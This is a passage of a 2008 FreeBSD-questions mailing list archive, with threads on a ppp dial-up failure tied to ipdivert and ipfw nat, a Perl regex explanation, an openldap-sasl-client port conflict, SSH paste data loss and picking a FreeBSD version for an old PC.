open("/dev/cuad0", 6) > Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0x28389e78 = fopen("/var/run/cuad0.if", "w") > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: deflink: Connected! That all looks about normal. > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: deflink: opening -> dial > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Phone: 1222 > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: deflink: Dial attempt 1 of 20 > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Send: AT^M > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Expect(5): OK > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: AT^M^M > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: OK^M > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Send: ATE1Q0^M > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Expect(5): OK > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: ATE1Q0^M^M > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Received: OK^M I've always used E0 myself, but again, if it's been working ok .. > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Chat: Send: ATDT1222^M > Nov 30 17:00:18 bsdhost ppp[978]: tun0: Chat: Expect(180): CONNECT > Nov 30 17:00:49 bsdhost ppp[978]: tun0: Chat: Received: ATDT1222^M^M > Nov 30 17:00:49 bsdhost ppp[978]: tun0: Chat: Received: CONNECT 115200^M > Nov 30 17:00:49 bsdhost ppp[978]: tun0: Phase: deflink: dial -> carrier > Nov 30 17:00:50 bsdhost ppp[978]: tun0: Phase: deflink: /dev/cuad0: CD detected > Nov 30 17:00:50 bsdhost ppp[978]: tun0: Phase: deflink: carrier -> login > Nov 30 17:00:50 bsdhost ppp[978]: tun0: Phase: deflink: login -> lcp Right: at this point the next thing you should see is like: Jul 13 00:18:47 paqi ppp[32861]: tun0: Phase: bundle: Authenticate Jul 13 00:18:47 paqi ppp[32861]: tun0: Phase: deflink: his = PAP, mine = none Jul 13 00:18:47 paqi ppp[32861]: tun0: Phase: Pap Output: smithi ******** Jul 13 00:18:48 paqi ppp[32861]: tun0: Phase: Pap Input: SUCCESS (Greetings!!) Jul 13 00:18:48 paqi ppp[32861]: tun0: IPCP: Using trigger address 0.0.0.0 Jul 13 00:18:48 paqi ppp[32861]: tun0: Phase: deflink: lcp -> open Jul 13 00:18:48 paqi ppp[32861]: tun0: Phase: bundle: Network Jul 13 00:18:48 paqi ppp[32861]: tun0: IPCP: FSM: Using "deflink" as a transport Jul 13 00:18:48 paqi ppp[32861]: tun0: IPCP: deflink: State change Initial --> Closed Jul 13 00:18:48 paqi ppp[32861]: tun0: IPCP: deflink: LayerStart. Jul 13 00:18:48 paqi ppp[32861]: tun0: IPCP: deflink: SendConfigReq(1) state = Closed etc. That is, on connect it should then procede to authentication. There's no sign of that. Whether failing at your end or the other is unclear; maybe logging LCP might provide more of a clue, but I'm not sure .. > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: Disconnected! .. but it looks like the other end hung up on you after ~18 seconds. > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: lcp -> logout > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: logout -> hangup > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: Disconnected! > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: Connect time: 50 secs: 434 octets in, 295 octets out > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: 1 packets in, 5 packets out The rest looks like about normal closedown .. > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: total 14 bytes/sec, peak 109 bytes/sec on Sun Nov 30 17:00:55 2008 > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = unlink("/var/run/cuad0.if") > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = uu_unlock("cuad0") > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: deflink: hangup -> closed > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(17, 3, 0) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 148 = write(0, data, 148) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(17, 3, 0) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 148 = write(0, data, 148) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(2, 2, 0) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 3223349521, 0xbfbfea5c) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 2149607696, 0xbfbfea5c) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: bundle: Dead > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(7, 2148037723, 0xbfbfeb00) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Phase: PPP Terminated (normal). > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = socket(2, 2, 0) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 3223349521, 0xbfbfe6bc) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = ioctl(0, 2149607696, 0xbfbfe6bc) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: ID0: 0 = unlink("/var/run/tun0.pid") .. except the below; I'm not familiar with these messages at all. > Nov 30 17:01:06 bsdhost ppp[977]: tun0: Phase: Parent: Child failed (errdead) > Nov 30 17:01:06 bsdhost ppp[978]: tun0: Chat: Parent notified of failure > > I was under the impression that divert had to be built into the kernel, > > but perhaps kldload ipdivert works allright with 7.x. > divert(4) of FBSD7.0R stated that > ipfw_load="YES" > ipdivert_load="YES" > are alternatives to ``options IPFIREWALL'' and ``options IPDIVERT''. > So I put these 2 lines in /boot/loader.conf. And don't have to compile kernel. > Then reboot and dial as described above Ok, thanks for confirming that, and sorry for the sidetrack. [..] > > There's another way to bring up ppp (so creating tun0) without dialing > > out until you're ready; using ppp -auto, with a dial filter rule/s. See > > ppp(8) and the examples in /usr/share/examples/ppp/ppp.conf.sample .. > > maybe something like: > > > > set filter dial 0 0 0 icmp src eq 8 > > > > which will only dial upon seeing an outbound ping packet. You could > > specify some address rather than 0 0 if you want to be more specific. > It's very good suggestion. But for now I just can't bring up the > connection. So I can't test it for now. Fair enough. > > Perhaps others can say if it's ok to kldload ipdivert after ipfw these > > days? In any case, this could mean coincidence rather than causation. > > You've not shown error messages from ppp.log indicating disconnection? > Please see above. > > > Two things you should always check if there are problems passing traffic > > through an interface that's apparently 'UP': > > # ifconfig # make sure addresses, netmasks, etc make sense. > > # netstat -finet -ran # check the default and other routes make sense. > Yes I always do that when connected. > > > I can't say whether it > > would get upset if tun0 was specified and didn't yet exist, but expect > > it'll just ignore any packets that don't match the specified interface, > > though I can't test that here now. Something like this should work: > > > > # ipfw nat 123 config if tun0 log deny_in same_ports unreg_only reset > > # ipfw add [number] nat 123 ip4 from any to any via tun0 > > > > where 123 is an arbitary number,and ip4 is more specific than 'all' > At boot time ... > Flush all rules. > ipfw: unknown interface name tun0 > ipfw: getsockopt(IP_FW_ADD): Invalid argument Hmm. I have rules for natd via ng0, which also doesn't exist at boot, without any such complaints, but that's on a 5.5-STABLE box. > 00100 check-state > ... > > After presence of tun0 (after dialing) ... > # sh /etc/ipfw.rules > Flush all rules. > ipfw: ipfw_ctl invalid option 56 What's that about? You haven't shown the rule that produced that .. > ipfw: setsockopt(IP_FW_NAT_CFG): Invalid argument .. or that. Again I wonder about those libalias modules ppp loaded .. and whether you also had ipdivert loaded while trying ipfw nat? These may be mutually exclusive, but I can't actually try it here currently. > ipfw: getsockopt(IP_FW_ADD): Invalid argument > 00100 check-state > ... > > > Well you can solve your loading-order problem with ppp -auto and a dial > > filter as above. Then you're free to choose between natd and ipfw nat, > > or even ppp -nat if you want. Personally I quit using ppp in favour of > > mpd4, and that works well for me (yes with natd, though on a 5.5 system) > Well I loaded modules (ipfw and ipdivert) at boot time in /boot/loader.conf. > 1. So at first these modules are loaded at boot time. > 2. Secondly, rc.conf was read, which in turn enabling gateway and ipfw. > 3. Then issue ppp command > 4. Then natd -interface tun0 > 5. Then insert these commands to /etc/ipfw.rules as the first two rules. > /sbin/ipfw add divert natd all from any to any via tun0 > /sbin/ipfw add pass all from any to any > then run the ipfw script to load the new rules. > sh /etc/ipfw.rules Which other rules? > But I just can't pass step 3, unless I unload ipdivert. And your ppp.conf or ppp command definitely doesn't mention -nat? > Please don't suspect my system. It had just been very freshly > installed from CDs before I tried everything. And without ipdivert > being loaded into the kernel, I can dial and browse any sites and > very fast with my /etc/ppp/ppp.conf. Should note a bug? Maybe it is. I'm out of ideas anyway, and noone else has come forward. > I think I should go on with ipfw nat, but to correct some syntax in /etc/ipfw.rules. Well I'm pretty sure you shouldn't load ipdivert as well as using ipfw nat, but I've been almost 100% wrong so far so perhaps best ignore me :) cheers, Ian From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 14:13:44 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 263141065670 for ; Mon, 1 Dec 2008 14:13:44 +0000 (UTC) (envelope-from drew@mykitchentable.net) Received: from smtpauth.surewest.net (smtpauth.surewest.net [66.60.130.153]) by mx1.freebsd.org (Postfix) with ESMTP id 08D518FC0C for ; Mon, 1 Dec 2008 14:13:43 +0000 (UTC) (envelope-from drew@mykitchentable.net) Received: from blacklamb.mykitchentable.net (unknown [69.62.230.77]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by smtpauth.surewest.net (Postfix) with ESMTP id 0FC2A9BF2A; Mon, 1 Dec 2008 06:13:16 -0800 (PST) Received: from [192.168.1.3] (bigdaddy.mykitchentable.net [192.168.1.3]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by blacklamb.mykitchentable.net (Postfix) with ESMTPSA id 7C5EE164D70; Mon, 1 Dec 2008 06:13:41 -0800 (PST) Message-ID: <4933F108.4050407@mykitchentable.net> Date: Mon, 01 Dec 2008 06:13:28 -0800 From: Drew Tomlinson User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: Matthew Seaman References: <4932CA0D.8080109@mykitchentable.net> <4932D91F.5040804@infracaninophile.co.uk> <4932E8A2.6030804@mykitchentable.net> <493385F4.6010809@infracaninophile.co.uk> In-Reply-To: <493385F4.6010809@infracaninophile.co.uk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Questions Subject: Re: Regular Expression Help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 14:13:44 -0000 Matthew Seaman wrote: > Drew Tomlinson wrote: >> Matthew Seaman wrote: > >>> % perl -p -e 's/cn=([^ ,]+) ([^,]+),/cn=$2 $1,/' < foo.txt > >> I still don't really understand *why* the above works but I'm trying >> to pick it apart now. > > The RE breaks down like this: > > /cn=([^ ,]+) ([^,]+),/ > cn= Match literal text 'cn=' > ( capture #1 begin > [^ ,] Character class: anything that is not space or > comma > + At least one of the above > ) end capture #1 > Match a literal space > ( capture #2 begin > [^,] Character class: anything that is not a comma > + At least one of the above > ) end capture #2 > , Match literal comma Thank you for that. You've shown me a new way to look at things. Instead of worrying about what I want to match, determine what marks the beginning and end of what I want to match and use negated character classes to find those end points. I think my regex writing has just gotten better. :) Cheers, Drew -- Be a Great Magician! Visit The Alchemist's Warehouse http://www.alchemistswarehouse.com From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 14:14:03 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BF2BA10656D7 for ; Mon, 1 Dec 2008 14:14:03 +0000 (UTC) (envelope-from lists@webtent.net) Received: from tpa-hosting.webtent.net (tpa-hosting.webtent.net [208.38.145.45]) by mx1.freebsd.org (Postfix) with ESMTP id 585B28FC0C for ; Mon, 1 Dec 2008 14:14:03 +0000 (UTC) (envelope-from lists@webtent.net) Received: from [72.64.244.51] (columbus.webtent.org [72.64.244.51]) by tpa-hosting.webtent.net (8.13.1/8.13.1) with ESMTP id mB1E1AiZ011102 for ; Mon, 1 Dec 2008 09:01:10 -0500 From: Robert Fitzpatrick To: FreeBSD Content-Type: text/plain Organization: WebTent Networking, Inc. Date: Mon, 01 Dec 2008 09:01:09 -0500 Message-Id: <1228140069.14908.23.camel@columbus.webtent.org> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 Content-Transfer-Encoding: 7bit Subject: openldap24-sasl-client conflicts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: robert@webtent.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 14:14:03 -0000 It seems this always gets me when setting up a new machine and I've haven't been able to stop it from happening. I install openldap-server WITH_SASL and after that point, if I try to install any package with LDAP support, it tries to install openldap-client when openldap-sasl-client is already there and conflicts as shown below. What do I need to do to keep this from happening? ---> Installing the new version via the port ===> Installing for openldap-sasl-client-2.4.11 ===> openldap-sasl-client-2.4.11 depends on file: /usr/local/lib/libcrypto.so.5 - found ===> Generating temporary packing list ===> Checking if net/openldap24-client already installed ===> openldap-sasl-client-2.4.11 is already installed You may wish to ``make deinstall'' and install this port again by ``make reinstall'' to upgrade it properly. If you really wish to overwrite the old port of net/openldap24-client without deleting it first, set the variable "FORCE_PKG_REGISTER" in your environment or the "make install" command line. *** Error code 1 Stop in /usr/ports/net/openldap24-client. *** Error code 1 Stop in /usr/ports/net/openldap24-client. ** Command failed [exit code 1]: /usr/bin/script -qa /tmp/portinstall.54161.0 env make reinstall ** Fix the installation problem and try again. ---> Skipping 'net/nss_ldap' because a requisite port 'net/openldap24-client' failed (specify -k to force) ---> Skipping 'security/pam_ldap' because a requisite port 'net/openldap24-client' failed (specify -k to force) ** Listing the failed packages (-:ignored / *:skipped / !:failed) ! net/openldap24-client (install error) * net/nss_ldap * security/pam_ldap -- Robert From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 14:14:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 29C361065670 for ; Mon, 1 Dec 2008 14:14:25 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 970F48FC19 for ; Mon, 1 Dec 2008 14:14:24 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L79XZ-0007CL-KH for freebsd-questions@freebsd.org; Mon, 01 Dec 2008 14:14:21 +0000 Received: from lara.cc.fer.hr ([161.53.72.113]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 01 Dec 2008 14:14:21 +0000 Received: from ivoras by lara.cc.fer.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 01 Dec 2008 14:14:21 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Mon, 01 Dec 2008 15:14:13 +0100 Lines: 39 Message-ID: References: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig89A3AAAB9BC0CB0CF9C27038" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: lara.cc.fer.hr User-Agent: Thunderbird 2.0.0.18 (X11/20081125) In-Reply-To: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> X-Enigmail-Version: 0.95.0 Sender: news Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 14:14:25 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig89A3AAAB9BC0CB0CF9C27038 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Chris wrote: > a cat >testfile then pasted through an ssh terminal.app connection over= > satellite (very > bad connection) into a FreeBSD 7.0 box I built in the last month. At Btw. lousy connections don't come into this as SSH does HMAC checking on the data - i.e. even if you somehow managed to loose parts of a TCP stream in a way that's not detected by TCP (which is also practically impossible), SSH will aditionally cryptographically make sure that what is sent is what is received (if an error occurs, the connection will be aborted). Either the sending part / terminal has problem or the receiving part / terminal. Operating system, the network stack or the network quality cannot cause the described behaviour. --------------enig89A3AAAB9BC0CB0CF9C27038 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJM/E2ldnAQVacBcgRAsGRAKCw7X6VByd2SxBpcnxvrhhFNqAVwwCgrcw6 6Cf5+nfW0lCjRPHQwIMO7/k= =pLOP -----END PGP SIGNATURE----- --------------enig89A3AAAB9BC0CB0CF9C27038-- From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 14:32:27 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 04B631065673 for ; Mon, 1 Dec 2008 14:32:27 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id C7FB18FC13 for ; Mon, 1 Dec 2008 14:32:26 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id B13B3AFC1C6; Mon, 1 Dec 2008 05:32:25 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org, robert@webtent.com Date: Mon, 1 Dec 2008 15:32:20 +0100 User-Agent: KMail/1.9.7 References: <1228140069.14908.23.camel@columbus.webtent.org> In-Reply-To: <1228140069.14908.23.camel@columbus.webtent.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-6" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812011532.20731.fbsd.questions@rachie.is-a-geek.net> Cc: Subject: Re: openldap24-sasl-client conflicts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 14:32:27 -0000 On Monday 01 December 2008 15:01:09 Robert Fitzpatrick wrote: > It seems this always gets me when setting up a new machine and I've > haven't been able to stop it from happening. I install openldap-server > WITH_SASL and after that point, if I try to install any package with > LDAP support, it tries to install openldap-client when > openldap-sasl-client is already there and conflicts as shown below. What > do I need to do to keep this from happening? We actually need the part from the port that requires openldap-client, before it goes on building openldap-client. The "foo depends on ..." line but some context doesn't hurt. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 14:33:46 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 30F841065676 for ; Mon, 1 Dec 2008 14:33:46 +0000 (UTC) (envelope-from fbsd06+4G=8793926f@mlists.homeunix.com) Received: from fallback-in1.mxes.net (fallback-out1.mxes.net [216.86.168.190]) by mx1.freebsd.org (Postfix) with ESMTP id F05FA8FC18 for ; Mon, 1 Dec 2008 14:33:45 +0000 (UTC) (envelope-from fbsd06+4G=8793926f@mlists.homeunix.com) Received: from mxout-03.mxes.net (mxout-03.mxes.net [216.86.168.178]) by fallback-in1.mxes.net (Postfix) with ESMTP id 8239A164839 for ; Mon, 1 Dec 2008 09:22:16 -0500 (EST) Received: from gumby.homeunix.com (unknown [87.81.140.128]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp.mxes.net (Postfix) with ESMTP id 0DC1723E3FD for ; Mon, 1 Dec 2008 09:22:14 -0500 (EST) Date: Mon, 1 Dec 2008 14:22:12 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20081201142212.5cddd312@gumby.homeunix.com> In-Reply-To: <002701c9538a$10ff0330$005bfb48@harryveltman> References: <002701c9538a$10ff0330$005bfb48@harryveltman> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 14:33:46 -0000 On Sun, 30 Nov 2008 23:54:38 -0800 "Harry Veltman" wrote: > Which version and GUI will work best on the internet with my AT > Pentium II 350MHz x86-based PC? Some web sites require Flash Player > 8 or higher, If flash is important to you then I'd suggest you run windows firefox under wine. Native Adobe Flash support is apparently working again in 7.1, but it's only just been restored as being broken for years. And by all accounts the linux flash-plugin isn't perfect even in Linux. > and some require 128-bit encryption I think, but doesn't > 40-bit encryption process data 3 times faster? How many bit > encryption is the various versions of FreeBSD? Thanks. All the supported versions of FreeBSD should have a wide range of ciphers available on browsers. IMO it's not really worth using ciphers below 128 bits. 128 bit is probably safe from the NSA, 40 bits could easily be broken on a pc. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 14:42:11 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6F5031065742 for ; Mon, 1 Dec 2008 14:42:11 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id F21018FC1B for ; Mon, 1 Dec 2008 14:42:09 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1Eg2Mn010292; Mon, 1 Dec 2008 15:42:02 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1Eg2eC010289; Mon, 1 Dec 2008 15:42:02 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 15:42:02 +0100 (CET) From: Wojciech Puchar To: RW In-Reply-To: <20081201142212.5cddd312@gumby.homeunix.com> Message-ID: <20081201154132.Q10288@wojtek.tensor.gdynia.pl> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201142212.5cddd312@gumby.homeunix.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 14:42:11 -0000 > If flash is important to you then I'd suggest you run windows firefox > under wine. Native Adobe Flash support is apparently working again in isn't better to run windows ? From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 14:48:18 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3E63B1065679 for ; Mon, 1 Dec 2008 14:48:18 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp102.prem.mail.ac4.yahoo.com (smtp102.prem.mail.ac4.yahoo.com [76.13.13.41]) by mx1.freebsd.org (Postfix) with SMTP id D8BD18FC16 for ; Mon, 1 Dec 2008 14:48:17 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: (qmail 63929 invoked from network); 1 Dec 2008 14:48:17 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:Date:From:To:Subject:Message-ID:In-Reply-To:References:Reply-To:Organization:X-Mailer:Face:X-Face:Mime-Version:Content-Type; b=xVSc8N4udB3OSijacVHprcDXlR6A9cgCf+1qHh4YuQ/FM9WetjnJTVdXs0eZOBgdQQOlM4/KMv7Veg06KoYCyEAaVDpTw1ALz28cnSbDk3PalnH+QjRevSup6SduvfrHVkZ6iUQCLJvgaKKaTlaEPFi9rgic4MfffuBWNV4b9+8= ; Received: from unknown (HELO scorpio) (gesbbb@76.23.177.172 with login) by smtp102.prem.mail.ac4.yahoo.com with SMTP; 1 Dec 2008 14:48:17 -0000 X-YMail-OSG: Rk7zquQVM1nx37eA5AGHx9fWQj_MmF49rbo_UOmcjYgn_CUJuhiVAYKO66cObtXOPNzxSqpa5dFOIGLNGkpe5OMChsRXdwFYnWLlDT5poOt9_2IaNOveEMRtmTftUH2WN9SudmFGP6RlcT56OUpH93ou1kH0WycWcJ4tFNNg6.yt4Qult8iB45AHnA-- X-Yahoo-Newman-Property: ymail-3 Date: Mon, 1 Dec 2008 09:48:13 -0500 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20081201094813.4e311526@scorpio> In-Reply-To: <1228140069.14908.23.camel@columbus.webtent.org> References: <1228140069.14908.23.camel@columbus.webtent.org> Organization: seibercom.net X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd6.3) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR nSNPNr*/^~StawWU9KDJ-CT0k$f#@t2^K&BS_f|?ZV/.7Q Mime-Version: 1.0 Content-Type: multipart/signed; boundary="Sig_/Op5dAEzOOnl70aAAKeAX8ZG"; protocol="application/pgp-signature"; micalg=PGP-SHA1 Subject: Re: openldap24-sasl-client conflicts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 14:48:18 -0000 --Sig_/Op5dAEzOOnl70aAAKeAX8ZG Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On Mon, 01 Dec 2008 09:01:09 -0500 Robert Fitzpatrick wrote: >It seems this always gets me when setting up a new machine and I've >haven't been able to stop it from happening. I install openldap-server 